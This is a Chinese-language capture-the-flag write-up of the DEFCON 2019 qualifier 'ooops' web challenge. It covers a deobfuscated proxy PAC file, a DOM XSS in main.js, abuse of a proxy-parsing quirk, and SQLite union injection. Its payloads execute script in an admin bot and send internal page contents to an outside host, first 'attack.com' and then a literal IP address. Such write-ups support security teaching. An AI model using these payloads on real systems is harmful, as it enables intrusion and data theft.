DEFCON CTF Qualifier 2019 ooops Writeup

阅读量    92300 | 评论 2   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

这次defcon quals的web又是大坑,花了最长时间的shellql最后是个pwn,拿flag全靠show full processlist

wasm标着web&pwn,结果逆向出flag

唯有一道OOOPS算是比较纯正的,而且挺有意思的web题

 

信息收集

最开始题目只给了一个pac文件,内容是一段混淆过的js代码。

eval((function () {
    var s = Array.prototype.slice.call(arguments),
        G = s.shift();
    return s.reverse().map(function (f, i) {
        return String.fromCharCode(f - G - 19 - i)
    }).join('')
})(29, 202, 274, 265, 261, 254, 265, 251, 267, 227, 179, 247, 249, 260, 175, 244, 252, 172, 253, 239, 237, 250, 214, 166, 248, 237, 163, 245, 244, 229, 226, 225, 222, 156, 233, 219, 220, 152, 234, 219, 218, 237, 226, 222, 225, 221, 212, 142, 228, 219, 215, 208, 219, 205, 221, 213, 133, 221, 207, 208, 208, 128, 196, 198, 177, 124, 133, 137, 121, 120, 97, 209, 117, 125, 199, 197, 192, 184, 111, 122, 185, 190, 192, 114, 183, 183, 176, 186, 168, 178, 184, 168, 97, 125, 95, 138, 143, 145, 173, 169, 127, 177, 175, 165, 167, 132, 151, 160, 154, 118) + (16).toString(36).toLowerCase().split('').map(function (c) {
    return String.fromCharCode(c.charCodeAt() + (-71))
  ......
  省略

直接console.log包裹就可以输出内容

FindProxyForURL = function(url, host) {
    /* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */
    if (shExpMatch(host, 'oooverflow.io')) return 'DIRECT';return 'PROXY ooops.quals2019.oooverflow.io:8080';
  }

前台xss

直接http代理登录,访问ooops.quals2019.oooverflow.io后返回响应

<!DOCTYPE html>
<html>
<head>
<script src="main.js"></script>
<meta charset="utf-8" /> 
</head>

<body>
  <div class="container">
    <h1>Page Blocked</h1>
    <img id=logo src="ooo.png"> <br/>
    <div id="blocked"></div>
      <a href="review.html">Request site review</a>
    </div>
  </div>
</body>
</html>

main.js的内容为

function split_url(u) {
    u = decodeURIComponent(u); // Stringify
    output = u[0];
    for (i=1;i<u.length;i++) {
        output += u[i]
        if (i%55==0) output+= "<br/>";
    }
    console.log(output)
    return output
}
window.onload = function () { 
    d = document.getElementById("blocked");
    d.innerHTML=(split_url(document.location) + " is blocked")
}

这里可以很轻易的发现main.js在decode document.location后修改了innerHTML,导致了XSS的产生

代理解析问题

客户端是通过http代理访问ooops.quals2019.oooverflow.io,经过测试,发现只要url的domain或者path部分出现了oooverflow.io,就会直接访问上述的响应内容,而不会真正去请求这个url

比如 http://foo.com/oooverflow.io/?a=xxxx这样的请求也会返回上述响应的内容

后台bot

上述响应中还存在review.html,会让bot请求你输入的链接

让bot访问你的vps,发现UA为Mozilla/5.0 (Macintosh; Intel Mac OS X) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1

且referer为http://10.0.9.6:5000/admin/view/39

访问这个页面出现需要内网用户访问的提示

 

后台XSS

第一部分中,我们拥有了一个前台的js代码执行,但是在前台的域下,没有可用的信息。根据后台bot的信息,我们的目标应该是获取到后台/admin/view/39的内容或者是后台的cookie

但是前后台跨域,因此需要先解决跨域的问题

前后台解析不一致

首先,链接是由bot请求的,同时,bot请求也会经过代理。

借助第一部分中代理只要包含oooverflow.io就会返回固定响应内容的特点,我们可以构造这样的请求http://10.0.9.6:5000/oooverflow.io/

对于这个请求,bot首先发送给代理,代理会将固定的响应返回给bot,这时bot面对的是一个存在xss漏洞的页面,通过插入标签即可执行js代码,而这个时候,bot面对的域仍是10.0.9.6:5000,解决跨域的问题。

这种思路和RPO很类似

任意执行js

根据第一部分的响应,在对document.location进行处理的时候,每55个字符会加上一个<br/>

绕过也很简单,通过执行下面代码的思路即可

eval(location.hash.slice(1))

因此payload的总体结构即为

http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://attack.com?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/1");oReq.send();

 

后台sql注入

执行上述payload以后,响应的页面大致如下

<!doctype html>
<html>
<head>
<title>OOOPS &mdash; Evaluate Requests</title>
<link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head>
<body>
<div class="container">
<div class="row">
<!-- Query: select rowid,* from requests where rowid=1 -->
<p>
Request #1 from b'10.255.0.2'.
 Automatically evaluated 
</p>
<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="xxxxxx">
Visit xxxxx
</a>
</div>
</div>
</body>
</html>

发现执行了sql语句,最基本最简单的id直接注入,唯一要注意的就是后台的数据库是sqlite而不是mysql

最后flag在flag表中

最终payload如下

http://10.0.9.6:5000/oooverflow.io/?aaaaaaaaaaaaaaaaaaaa<img src=1 onerror=eval(location.hash.slice(1))>#function reqListener () {var encoded = encodeURI(this.responseText);var b64 = btoa(this.responseText);var raw = this.responseText;document.write('<iframe src="http://118.89.245.122?data='+b64+'"></iframe>');} var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://10.0.9.6:5000/admin/view/-1 union select (select flag from flag),2,3,4,5");oReq.send();
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多